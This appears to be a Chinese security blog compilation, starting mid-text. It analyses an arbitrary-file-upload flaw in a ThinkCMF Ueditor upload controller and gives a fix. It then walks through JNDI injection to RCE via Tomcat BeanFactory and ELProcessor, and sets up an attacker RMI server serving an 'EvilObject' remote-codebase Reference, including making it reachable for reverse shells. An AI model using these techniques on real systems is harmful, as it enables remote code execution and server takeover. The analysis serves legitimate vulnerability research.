"xlsx";i:10485760;s:3:"ppt";i:10485760;s:4:"pptx";i:10485760;s:3:"zip";i:10485760;s:3:"rar";i:10485760;}}

经过反序列后的结果为,
-w473
再回到之前获取允许上传后缀的地方, 就能够发现出问题了。
$allowed_exts=explode(‘,’,$upload_setting[$filetype])
upload_setting为反序列后的结果, $filetype是选择switch分支的时候硬编码传递进来的为file, 所以可以看到$upload_setting[‘file’]的结果依旧为一个数组,包含upload_max_filesize和extensions两个key, php explode的作用为把第二个参数通过字符串分割成数组,

1
2
3
4
5
6
7
8
9
10
PHP_FUNCTION(explode)
{
char *str, *delim;
int str_len = 0, delim_len = 0;
long limit = LONG_MAX; /* No limit */
zval zdelim, zstr;

if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "ss|l", &delim, &delim_len, &str, &str_len, &limit) == FAILURE) {
return;
}

通过zend_parse_parameters来接受传入函数的参数

1
2
3
4
5
6
7
8
9
10
11
12
13
ZEND_API int zend_parse_parameters(int num_args TSRMLS_DC, const char *type_spec, ...) /* {{{ */
{
va_list va;
int retval;

RETURN_IF_ZERO_ARGS(num_args, type_spec, 0);

va_start(va, type_spec);
retval = zend_parse_va_args(num_args, type_spec, &va, 0 TSRMLS_CC);
va_end(va);

return retval;
}

zend_parse_va_args方法中, 首先获取到最少传入的参数个数, 和最多传入参数个数之后, 判断实际传入的参数数量是否在最少与最多的区间范围之内, 如果在这之内的话,继续调用zend_parse_arg方法来获取参数。

1
2
3
4
5
6
7
8
if (zend_parse_arg(i+1, arg, va, &type_spec, quiet TSRMLS_CC) == FAILURE) {
/* clean up varargs array if it was used */
if (varargs && *varargs) {
efree(*varargs);
*varargs = NULL;
}
return FAILURE;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
static int zend_parse_arg(int arg_num, zval **arg, va_list *va, const char **spec, int quiet TSRMLS_DC) /* {{{ */
{
const char *expected_type = NULL;
char *error = NULL;
int severity = E_WARNING;

expected_type = zend_parse_arg_impl(arg_num, arg, va, spec, &error, &severity TSRMLS_CC);
if (expected_type) {
if (!quiet && (*expected_type || error)) {
const char *space;
const char *class_name = get_active_class_name(&space TSRMLS_CC);

if (error) {
zend_error(severity, "%s%s%s() expects parameter %d %s",
class_name, space, get_active_function_name(TSRMLS_C), arg_num, error);
efree(error);
} else {
zend_error(severity, "%s%s%s() expects parameter %d to be %s, %s given",
class_name, space, get_active_function_name(TSRMLS_C), arg_num, expected_type,
zend_zval_type_name(*arg));
}
}
if (severity != E_STRICT) {
return FAILURE;
}
}

severity 定义为了E_WARNING, 并且把severity的引用传递给了zend_parse_arg_impl方法,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
static const char *zend_parse_arg_impl(int arg_num, zval **arg, va_list *va, const char **spec, char **error, int *severity TSRMLS_DC) /* {{{ */
{
const char *spec_walk = *spec;
char c = *spec_walk++;
int check_null = 0;
.....................
case 's':
{
char **p = va_arg(*va, char **);
int *pl = va_arg(*va, int *);
switch (Z_TYPE_PP(arg)) {
case IS_NULL:
if (check_null) {
*p = NULL;
*pl = 0;
break;
}
/* break omitted intentionally */

case IS_STRING:
case IS_LONG:
case IS_DOUBLE:
case IS_BOOL:
convert_to_string_ex(arg);
if (UNEXPECTED(Z_ISREF_PP(arg) != 0)) {
/* it's dangerous to return pointers to string
buffer of referenced variable, because it can
be clobbered throug magic callbacks */
SEPARATE_ZVAL(arg);
}
*p = Z_STRVAL_PP(arg);
*pl = Z_STRLEN_PP(arg);
if (c == 'p' && CHECK_ZVAL_NULL_PATH(*arg)) {
return "a valid path";
}
break;

case IS_OBJECT:
if (parse_arg_object_to_string(arg, p, pl, IS_STRING TSRMLS_CC) == SUCCESS) {
if (c == 'p' && CHECK_ZVAL_NULL_PATH(*arg)) {
return "a valid path";
}
break;
}

case IS_ARRAY:
case IS_RESOURCE:
default:
return c == 's' ? "string" : "a valid path";
}
}
break;

在处理字符串的这个分支下, 通过Z_TYPE_PP获取参数的数据类型, 如果参数是数组的话 直接进入default分支, return string。
不过在字符串分支下, 没有对传递进来的severity引用进行修改, 所以还是最开始的Warning, 然后进入zend_error方法 在severity为warning时, zend_error 并不会退出程序, 所以可以继续运行下去, 然后返回FAILURE意味着处理参数失败了。

1
2
3
if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "ss|l", &delim, &delim_len, &str, &str_len, &limit) == FAILURE) {
return;
}

在处理参数失败了之后, 就直接return了。 这里在对return_value指针修改之前就返回了, 所以这里的return_value依旧为默认值。
则return_value为一个未初始化的zval结构体,

1
2
3
4
5
6
7
struct _zval_struct {
/* Variable information */
zvalue_value value; /* value */
zend_uint refcount__gc;
zend_uchar type; /* active type */
zend_uchar is_ref__gc;
};

typedef unsigned char zend_uchar;
当一个结构体未初始化时, 结构体内的每个属性根据自己的数据类型都会有自己的默认值, int/char都为0 指针为null之类的。
所以此时的return_value结构体的type属性为0, 0代表的为IS_NULL

1
#define IS_NULL		0

所以如果第二个参数数据类型为数组经过explode时会抛出warning并且返回null。
-w932

所以此时的$allowed_exts为null, 然后加载到$config数组中, 然后传递给\Think\Upload的构造方法,

在/simplewind/Core/Library/Think/Upload.class.php中,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public function __construct($config = array(), $driver = '', $driverConfig = null){
/* 获取配置 */
$this->config = array_merge($this->config, $config);

/* 设置上传驱动 */
$this->setDriver($driver, $driverConfig);

/* 调整配置,把字符串配置参数转换为数组 */
if(!empty($this->config['mimes'])){
if(is_string($this->mimes)) {
$this->config['mimes'] = explode(',', $this->mimes);
}
$this->config['mimes'] = array_map('strtolower', $this->mimes);
}
if(!empty($this->config['exts'])){
if (is_string($this->exts)){
$this->config['exts'] = explode(',', $this->exts);
}
$this->config['exts'] = array_map('strtolower', $this->exts);
}
}

构造方法把传递进来的变量和默认的配置信息进行合并 赋值给config属性。

默认的配置信息为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
private $config = array(
'mimes' => array(), //允许上传的文件MiMe类型
'maxSize' => 0, //上传的文件大小限制 (0-不做限制)
'exts' => array(), //允许上传的文件后缀
'autoSub' => true, //自动子目录保存文件
'subName' => array('date', 'Y-m-d'), //子目录创建方式,[0]-函数名,[1]-参数,多个参数使用数组
'rootPath' => './Uploads/', //保存根路径
'savePath' => '', //保存路径
'saveName' => array('uniqid', ''), //上传文件命名规则,[0]-函数名,[1]-参数,多个参数使用数组
'saveExt' => '', //文件保存后缀,空则使用原后缀
'replace' => false, //存在同名是否覆盖
'hash' => true, //是否生成hash编码
'callback' => false, //检测文件是否存在回调,如果存在返回文件信息数组
'driver' => '', // 文件上传驱动
'driverConfig' => array(), // 上传驱动配置
);

If the input arrays have the same string keys, then the later value for that key will overwrite the previous one. If, however, the arrays contain numeric keys, the later value will not overwrite the original value, but will be appended.

当两个进行合并的数组存在相同的key时, 第二个数组的key对应的value会覆盖掉第一个数组key的对应的value。
所以此时$this->config[‘ext’]从’’被覆盖为了null。

在经过构造方法把上传的配置信息配置好了之后, 就调用upload方法正式开始上传了。

upload方法中, 重点关注check方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
//通过pathinfo获取文件的后缀名
$file['ext'] = pathinfo($file['name'], PATHINFO_EXTENSION);

/* 文件上传检测 */
if (!$this->check($file)){
continue;
}
..............

$savename = $this->getSaveName($file);
if(false == $savename){
continue;
} else {
$file['savename'] = $savename;
}

/* 检测并创建子目录 */
$subpath = $this->getSubPath($file['name']);
if(false === $subpath){
continue;
} else {
$file['savepath'] = $this->savePath . $subpath;
}

。。。。。。。。。。。

/* 保存文件 并记录保存成功的文件 */
if ($this->uploader->save($file,$this->replace)) {
unset($file['error'], $file['tmp_name']);
$info[$key] = $file;
} else {
$this->error = $this->uploader->getError();
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
private function check($file) {
/* 文件上传失败,捕获错误代码 */
if ($file['error']) {
$this->error($file['error']);
return false;
}

/* 无效上传 */
if (empty($file['name'])){
$this->error = '未知上传错误!';
}

/* 检查是否合法上传 */
if (!is_uploaded_file($file['tmp_name'])) {
$this->error = '非法上传文件!';
return false;
}

/* 检查文件大小 */
if (!$this->checkSize($file['size'])) {
$this->error = '上传文件大小不符!';
return false;
}

/* 检查文件Mime类型 */
//TODO:FLASH上传的文件获取到的mime类型都为application/octet-stream
if (!$this->checkMime($file['type'])) {
$this->error = '上传文件MIME类型不允许!';
return false;
}

/* 检查文件后缀 */
if (!$this->checkExt($file['ext'])) {
$this->error = '上传文件后缀不允许';
return false;
}

/* 通过检测 */
return true;
}

这里只需要关注一下checkMime和checkExt方法,
checkMime方法中, 因为$this->config[‘mimes’]为array(),
empty(array()) 为true, 就直接返回true了。

1
2
3
private function checkMime($mime) {
return empty($this->config['mimes']) ? true : in_array(strtolower($mime), $this->mimes);
}

在checkExt方法中, 从刚才的分析可以知道$this->config[‘exts’]为null, empty(null)为true, 所以直接返回true了,不会再判断后缀了。

1
2
3
private function checkExt($ext) {
return empty($this->config['exts']) ? true : in_array(strtolower($ext), $this->exts);
}

在通过了check方法之后, 通过getSaveName生成最终保存的文件名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
private function getSaveName($file) {
$rule = $this->saveName;
if (empty($rule)) { //保持文件名不变
/* 解决pathinfo中文文件名BUG */
$filename = substr(pathinfo("_{$file['name']}", PATHINFO_FILENAME), 1);
$savename = $filename;
} else {
$savename = $this->getName($rule, $file['name']);
if(empty($savename)){
$this->error = '文件命名规则错误!';
return false;
}
}

/* 文件保存后缀,支持强制更改文件后缀 */
$ext = empty($this->config['saveExt']) ? $file['ext'] : $this->saveExt;

return $savename . '.' . $ext;
}

$rule为$config中的savename属性值 array(‘uniqid’,’’),

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
private function getName($rule, $filename){
$name = '';
if(is_array($rule)){ //数组规则
$func = $rule[0];
$param = (array)$rule[1];
foreach ($param as &$value) {
$value = str_replace('__FILE__', $filename, $value);
}
$name = call_user_func_array($func, $param);
} elseif (is_string($rule)){ //字符串规则
if(function_exists($rule)){
$name = call_user_func($rule);
} else {
$name = $rule;
}
}
return $name;
}

所以这里就是调用uniqid来生成文件名。
文件的后缀来自,
$ext = empty($this->config['saveExt']) ? $file['ext'] : $this->saveExt;
在默认的上传配置信息中’saveExt’ => ‘’,
saveExt为空, 所以这里不会强制修改文件的后缀而是直接使用的上传文件名的后缀。
生成好文件名之后, 就直接通过save方法进行上传了。
save方法中已经没有了任何后缀校验, 所以直接实现了任意文件上传。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public function save($file, $replace=true) {
$filename = $this->rootPath . $file['savepath'] . $file['savename'];

/* 不覆盖同名文件 */
if (!$replace && is_file($filename)) {
$this->error = '存在同名文件' . $file['savename'];
return false;
}

/* 移动文件 */
if (!move_uploaded_file($file['tmp_name'], $filename)) {
$this->error = '文件上传保存错误!';
return false;
}

return true;
}

在上传完成之后, 最后还是直接输出了文件名。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
  	    if(!empty($first['url'])){
if($filetype=='image'){
$url=sp_get_image_preview_url($first['savepath'].$first['savename']);
}else{
$url=sp_get_file_download_url($first['savepath'].$first['savename'],3600*24*365*50);//过期时间设置为50年
}

}else{
$url = C("TMPL_PARSE_STRING.__UPLOAD__").$first['savepath'].$first['savename'];
}


} else {
$state = $upload->getError();
}

$response=array(
"state" => $state,
"url" => $url,
"title" => $title,
"original" =>$oriName,
);

return json_encode($response);

0x03 测试

注册好账户,登录之后,
直接调用这个控制器上传php文件即可。
-w1115

-w767

0x04 修复

/application/Asset/Controller/UeditorController.class.php
的upload方法中 将获取允许上传的文件后缀代码修改为

1
$allowed_exts=explode(',', $upload_setting[$filetype]['extensions']);

获取这个数组的extensions的值, 再分割成数组即可。

Exploitng JNDI Injection In Java

概要

https://www.veracode.com/blog/research/exploiting-jndi-injections-java
跟着这文章调了一遍, 之前一度以为在jdk 8u191之后, JNDI注入也就只能打打反序列了,看了这文章后发现了一种新的场景。
之前JNDI注入都是依靠于getObjectFactoryFromReference时,
如果目标classpath里找不到指定的class时,会从远程codebase中下载class字节码, 然后实例化。
在出现了trustCodebaseURL的限制之后 已经不再能够从codebase中下载字节码。 但是可以loadClass目标classpath下存在的类。

Tomcat 8

依赖包pom.xml

1
2
3
4
5
6
7
8
9
10
11
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.0</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.apache.el/com.springsource.org.apache.el -->
<dependency>
<groupId>org.apache.el</groupId>
<artifactId>com.springsource.org.apache.el</artifactId>
<version>7.0.26</version>
</dependency>

JNDIClient.java

1
2
3
4
5
6
7
8
9
10
11
import javax.naming.Context;
import javax.naming.InitialContext;

public class JNDIClient {
public static void main(String[] args) throws Exception {

String uri = "rmi://localhost:1097/Object";
Context ctx = new InitialContext();
ctx.lookup(uri);
}
}

调用的方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public Object lookup(Name var1) throws NamingException {
if (var1.isEmpty()) {
return new RegistryContext(this);
} else {
Remote var2;
try {
var2 = this.registry.lookup(var1.get(0));
} catch (NotBoundException var4) {
throw new NameNotFoundException(var1.get(0));
} catch (RemoteException var5) {
throw (NamingException)wrapRemoteException(var5).fillInStackTrace();
}
return this.decodeObject(var2, var1.getPrefix(1));
}
}

该方法对RMI registry发请求,反序列获取到ReferenceWrapper_Stub
然后把反序列得到的ReferenceWrapper_Stub传给decodeObject

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
private Object decodeObject(Remote var1, Name var2) throws NamingException {
try {
Object var3 = var1 instanceof RemoteReference ? ((RemoteReference)var1).getReference() : var1;
Reference var8 = null;
if (var3 instanceof Reference) {
var8 = (Reference)var3;
} else if (var3 instanceof Referenceable) {
var8 = ((Referenceable)((Referenceable)var3)).getReference();
}

if (var8 != null && var8.getFactoryClassLocation() != null && !trustURLCodebase) {
throw new ConfigurationException("The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.");
} else {
return NamingManager.getObjectInstance(var3, var2, this, this.environment);
}

在decodeObject中, 给获取到的ReferenceWrapper_Stub调用getReference方法, getReference方法通过获取ReferenceWrapper_Stub的ref属性然后发请求, 反序列请求结果得到真正绑定到RMI Registry上的对象(ResourceRef), 然后传给NamingManager.getObjectInstance方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public static Object
getObjectInstance(Object refInfo, Name name, Context nameCtx,
Hashtable<?,?> environment)
throws Exception
{
.......................
Reference ref = null;
if (refInfo instanceof Reference) {
ref = (Reference) refInfo;
} else if (refInfo instanceof Referenceable) {
ref = ((Referenceable)(refInfo)).getReference();
}

if (ref != null) {
String f = ref.getFactoryClassName();
if (f != null) {
// if reference identifies a factory, use exclusively

factory = getObjectFactoryFromReference(ref, f);
if (factory != null) {
return factory.getObjectInstance(ref, name, nameCtx,
environment);
}

首先类型转换将object转换为Reference对象, 然后ref.getFactoryClassName() 获取FactoryClassName

1
2
3
4
5
6
7
8
9
public final String getFactoryClassName() {
String factory = super.getFactoryClassName();
if (factory != null) {
return factory;
} else {
factory = System.getProperty("java.naming.factory.object");
return factory != null ? null : this.getDefaultFactoryClassName();
}
}
1
2
3
public String getFactoryClassName() {
return classFactory;
}

返回的是Reference对象的classFactory属性。
获取到之后又传递给了getObjectFactoryFromReference方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
static ObjectFactory getObjectFactoryFromReference(
Reference ref, String factoryName)
throws IllegalAccessException,
InstantiationException,
MalformedURLException {
Class<?> clas = null;

// Try to use current class loader
try {
clas = helper.loadClass(factoryName);
} catch (ClassNotFoundException e) {
// ignore and continue
// e.printStackTrace();
}
// All other exceptions are passed up.

// Not in class path; try to use codebase
String codebase;
if (clas == null &&
(codebase = ref.getFactoryClassLocation()) != null) {
try {
clas = helper.loadClass(factoryName, codebase);
} catch (ClassNotFoundException e) {
}
}

return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
}

然后loadClass, 再newInstance实例化该类。
因为newInstance必然只会调用无参构造方法,所以该class需要有定义一个无参的构造方法或者是根本无构造方法(在无任何构造方法的情况下会隐式生成一个无参构造方法), 如果没有无参构造方法newInstance就直接出错了。

1
2
3
4
5
factory = getObjectFactoryFromReference(ref, f);
if (factory != null) {
return factory.getObjectInstance(ref, name, nameCtx,
environment);
}

在实例化该类后 还会调用这对象的getObjectInstance方法,
所以如果能在一些常用的库中找到有getObjectInstance方法 并且在该方法中有做一些危险的事情的话, 那么就有用了。

原文大佬找到了org.apache.naming.factory.BeanFactory类,实现了ObjectFactory接口。
那么必然实现了ObjectFactory接口的getObjectInstance方法,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws NamingException {
if (obj instanceof ResourceRef) {
try {
Reference ref = (Reference)obj;
String beanClassName = ref.getClassName();
Class<?> beanClass = null;
ClassLoader tcl = Thread.currentThread().getContextClassLoader();
if (tcl != null) {
try {
beanClass = tcl.loadClass(beanClassName);
} catch (ClassNotFoundException var26) {
;
}
} else {
try {
beanClass = Class.forName(beanClassName);
} catch (ClassNotFoundException var25) {
var25.printStackTrace();
}
}

if (beanClass == null) {
throw new NamingException("Class not found: " + beanClassName);
} else {
BeanInfo bi = Introspector.getBeanInfo(beanClass);
PropertyDescriptor[] pda = bi.getPropertyDescriptors();
Object bean = beanClass.getConstructor().newInstance();
RefAddr ra = ref.get("forceString");
Map<String, Method> forced = new HashMap();
String value;
String propName;
int i;
if (ra != null) {
value = (String)ra.getContent();
Class<?>[] paramTypes = new Class[]{String.class};
String[] var18 = value.split(",");
i = var18.length;

for(int var20 = 0; var20 < i; ++var20) {
String param = var18[var20];
param = param.trim();
int index = param.indexOf(61);
if (index >= 0) {
propName = param.substring(index + 1).trim();
param = param.substring(0, index).trim();
} else {
propName = "set" + param.substring(0, 1).toUpperCase(Locale.ENGLISH) + param.substring(1);
}

try {
forced.put(param, beanClass.getMethod(propName, paramTypes));
} catch (SecurityException | NoSuchMethodException var24) {
throw new NamingException("Forced String setter " + propName + " not found for property " + param);
}
}

在该方法中 可以明显的看到反射过程。
并且反射的类等东西都来自Reference对象。
反射的类来自ref.getClassName()
反射调用的方法 来自ref.get(“forceString”),如果forceString属性值中含有=号, 那么=号右边的值就为获取的方法, 左边值为hashmap的key, 如果属性值中没有等号就会获取该属性值的setter方法。

最后获取到一个StringRefAddr对象, 且该对象的addrtype属性值非factory,scope,auth,forceString,singleton时, 获取该对象的addrtype作为hashmap的key 从hashmap中取出之前存入的方法,
并且将该对象的contents属性作为反射调用方法时的值。

1
2
Class<?>[] paramTypes = new Class[]{String.class};
beanClass.getMethod(propName, paramTypes)

并且获取方法的时候,指定了该方法只能有一个String参数。

原文大佬在这里反射的是javax.el.ELProcessor类, 调用eval方法进行el注入 实现RCE.

1
2
3
public Object eval(String expression) {
return this.getValue(expression, Object.class);
}

-w1328

TOMCAT 7

TOMCAT 7测试。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
    <dependencies>
<!-- https://mvnrepository.com/artifact/org.apache.tomcat/tomcat-catalina -->
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>7.0.91</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.apache.el/com.springsource.org.apache.el -->
<dependency>
<groupId>org.apache.el</groupId>
<artifactId>com.springsource.org.apache.el</artifactId>
<version>7.0.26</version>
</dependency>
</dependencies>

-w970
出异常, 没有javax.el.ELProcessor这个类。

在TOMCAT>8.5版本中, 存在el包
-w338

在tomcat7中没有这个el包。
-w388

在tomcat8中, 依赖了tomcat-jsp-api包
-w884
-w360
jsp-api包又依赖了el包。

在tomcat7中,
-w690
并没有依赖tomcat-jsp-api, 就没有了el包。
所以在tomcat7中 还需要再手动引入这个包。
-w920

tomcat el包和 javax.el包同时存在时

tomcat的el包名和javax.el的包名相同, 都为javax.el
-w761
存在两个javax.el.ELProcessor
在import这个类的时候, 具体引入的哪个类跟编译器先载入哪个jar包有关。
maven中, 哪个dependency在前就会导入哪个类。
pom.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<dependencies>
<!-- https://mvnrepository.com/artifact/javax.el/javax.el-api -->
<dependency>
<groupId>javax.el</groupId>
<artifactId>javax.el-api</artifactId>
<version>3.0.1-b06</version>
</dependency>

<!-- https://mvnrepository.com/artifact/com.sun.el/el-ri -->
<dependency>
<groupId>com.sun.el</groupId>
<artifactId>el-ri</artifactId>
<version>1.0</version>
</dependency>

<!-- https://mvnrepository.com/artifact/org.apache.tomcat/tomcat-catalina -->
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.34</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.apache.el/com.springsource.org.apache.el -->
<dependency>
<groupId>org.apache.el</groupId>
<artifactId>com.springsource.org.apache.el</artifactId>
<version>7.0.26</version>
</dependency>
</dependencies>

-w1119
javax.el包下的ELProcessor没法像tomcat el包下的ELProcessor一样EL注入调用方法, 直接就出错了。

pom.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<dependencies>
<!-- https://mvnrepository.com/artifact/org.apache.tomcat/tomcat-catalina -->
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.34</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.apache.el/com.springsource.org.apache.el -->
<dependency>
<groupId>org.apache.el</groupId>
<artifactId>com.springsource.org.apache.el</artifactId>
<version>7.0.26</version>
</dependency>
<!-- https://mvnrepository.com/artifact/javax.el/javax.el-api -->
<dependency>
<groupId>javax.el</groupId>
<artifactId>javax.el-api</artifactId>
<version>3.0.1-b06</version>
</dependency>

<!-- https://mvnrepository.com/artifact/com.sun.el/el-ri -->
<dependency>
<groupId>com.sun.el</groupId>
<artifactId>el-ri</artifactId>
<version>1.0</version>
</dependency>
</dependencies>

-w1056

References

https://www.veracode.com/blog/research/exploiting-jndi-injections-java

RMI ReferenceWrapper_Stub With Hostname

概要

去年我salt大哥带我搞一个存在FastJson漏洞站的时候, 在ECS上启动rmi后,使用Reference 加载远程codebase代码库的方法, 但是一直没能成功执行命令。
最后才了解到需要修改掉/etc/hostname文件为公网ip地址才能够正常利用, 在修改掉/etc/hostname为公网ip后,成功弹回来了shell。

失败原因

当时使用的启动rmi服务的java代码。
RMIService.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;

public class RMIService {
public static void main(String args[]) throws Exception {

Registry registry = LocateRegistry.createRegistry(1099);
Reference refObj = new Reference("EvilObject", "EvilObject", "http://127.0.0.1:8000/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
System.out.println("Binding 'refObjWrapper' to 'rmi://127.0.0.1:1099/refObj'");
registry.bind("refObj", refObjWrapper);

}
}

绑定到registry中的ReferenceWrapper, 绑定的其实是ReferenceWrapper_Stub
-w470
在与registry 1099端口协商完成之后, 最后都会访问到ReferenceWrapper_Stub上。

启动RMI后, 用nmap扫描可以发现, ReferenceWrapper_Stub引用到了一个内网ip中。

在客户端从RMI中获取到ReferenceWrapper_Stub后, 经过this.decode还原成ReferenceWrapper, 然后尝试去加载这个引用, 但是因为内网ip的原因直接加载失败。 这个内网ip是ECS的内网ip, 在客户端这边肯定就加载失败了。

-w1025

RMI ReferenceWrapper_Stub

在实例化ReferenceWrapper时,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
String var7 = resampleLocalHost();
if (var6 == null) {
var3 = new TCPEndpoint(var7, var0, var1, var2);
var6 = new LinkedList();
var6.add(var3);
var3.listenPort = var0;
var3.transport = new TCPTransport(var6);
localEndpoints.put(var5, var6);
if (TCPTransport.tcpLog.isLoggable(Log.BRIEF)) {
TCPTransport.tcpLog.log(Log.BRIEF, "created local endpoint for socket factory " + var2 + " on port " + var0);
}
} else {
synchronized(var6) {
var3 = (TCPEndpoint)var6.getLast();
String var9 = var3.host;
int var10 = var3.port;
TCPTransport var11 = var3.transport;
if (var7 != null && !var7.equals(var9)) {
if (var10 != 0) {
var6.clear();
}

var3 = new TCPEndpoint(var7, var10, var1, var2);
var3.listenPort = var0;
var3.transport = var11;
var6.add(var3);
}
}
}

通过resampleLocalHost来获取 Reference 要引用到的ip

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
private static String resampleLocalHost() {
String var0 = getHostnameProperty();
Map var1 = localEndpoints;
synchronized(localEndpoints) {
if (var0 != null) {
if (!localHostKnown) {
setLocalHost(var0);
} else if (!var0.equals(localHost)) {
localHost = var0;
if (TCPTransport.tcpLog.isLoggable(Log.BRIEF)) {
TCPTransport.tcpLog.log(Log.BRIEF, "updated local hostname to: " + localHost);
}
}
}

return localHost;
}
}

首先尝试使用getHostnameProperty来获取ip

1
2
3
4

private static String getHostnameProperty() {
return (String)AccessController.doPrivileged(new GetPropertyAction("java.rmi.server.hostname"));
}

但是这里由于我们的RMIService没有设置java.rmi.server.hostname所以这里返回null。
当从getHostnameProperty获取ip失败时, 直接返回localhost属性。

localhost属性在静态方法中被设置。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
static {
if (localHost == null) {
try {
InetAddress var0 = InetAddress.getLocalHost();
byte[] var1 = var0.getAddress();
if (var1[0] == 127 && var1[1] == 0 && var1[2] == 0 && var1[3] == 1) {
localHostKnown = false;
}

if (getBoolean("java.rmi.server.useLocalHostName")) {
localHost = TCPEndpoint.FQDN.attemptFQDN(var0);
} else {
localHost = var0.getHostAddress();
}
} catch (Exception var2) {
localHostKnown = false;
localHost = null;
}
}

if (TCPTransport.tcpLog.isLoggable(Log.BRIEF)) {
TCPTransport.tcpLog.log(Log.BRIEF, "localHostKnown = " + localHostKnown + ", localHost = " + localHost);
}

localEndpoints = new HashMap();
}

这里使用了InetAddress.getLocalHost()来获取ip

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
public static InetAddress getLocalHost() throws UnknownHostException {

SecurityManager security = System.getSecurityManager();
try {
String local = impl.getLocalHostName(); // 获取HostName, linux系统可以通过修改/etc/hostname文件内容来设置hostname。

if (security != null) {
security.checkConnect(local, -1);
}

if (local.equals("localhost")) {
return impl.loopbackAddress();
}

InetAddress ret = null;
synchronized (cacheLock) {
long now = System.currentTimeMillis();
if (cachedLocalHost != null) {
if ((now - cacheTime) < maxCacheTime) // Less than 5s old?
ret = cachedLocalHost;
else
cachedLocalHost = null;
}

// we are calling getAddressesFromNameService directly
// to avoid getting localHost from cache
if (ret == null) {
InetAddress[] localAddrs;
try {
localAddrs =
InetAddress.getAddressesFromNameService(local, null);
// 使用该方法根据hostname DNS解析出ip
// 这里传入该方法的hostname, 默认是在ECS的/etc/hosts中配置为内网ip。

// root@iZwz9dtic2d71ttfu58hzhZ:/tmp# cat /etc/hosts
// 127.0.0.1 localhost
// # The following lines are desirable for IPv6 capable hosts
// ::1 localhost ip6-localhost ip6-loopback
// ff02::1 ip6-allnodes
// ff02::2 ip6-allrouters
// 172.18.11.117 iZwz9dtic2d71ttfu58hzhZ iZwz9dtic2d71ttfu58hzhZ

} catch (UnknownHostException uhe) {
// Rethrow with a more informative error message.
UnknownHostException uhe2 =
new UnknownHostException(local + ": " +
uhe.getMessage());
uhe2.initCause(uhe);
throw uhe2;
}
cachedLocalHost = localAddrs[0];
cacheTime = now;
ret = localAddrs[0];
}
}
return ret;
} catch (java.lang.SecurityException e) {
return impl.loopbackAddress();
}
}

所以Reference的ip就成了ECS的内网ip。这里只要把Reference引用到ECS的公网ip上 就能成功利用了。
所以可以通过修改/etc/hostname为公网ip来成功利用, 但是修改/etc/hostname后得重启才能生效,
更好的方法是通过hostname 公网ip命令 来实现不重启修改hostname(其实也就是修改/proc/sys/kernel/hostname文件内容)。

从上面也可以看出, 如果设置了java.rmi.server.hostname属性之后, 该属性值就会覆盖掉静态方法所设置的localhost属性。
所以在启动rmi的时候 设置java.rmi.server.hostname属性为公网ip即可。

RMIService.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;

public class RMIService {
public static void main(String args[]) throws Exception {
System.setProperty("java.rmi.server.hostname", "你的公网ip");
Registry registry = LocateRegistry.createRegistry(1099);
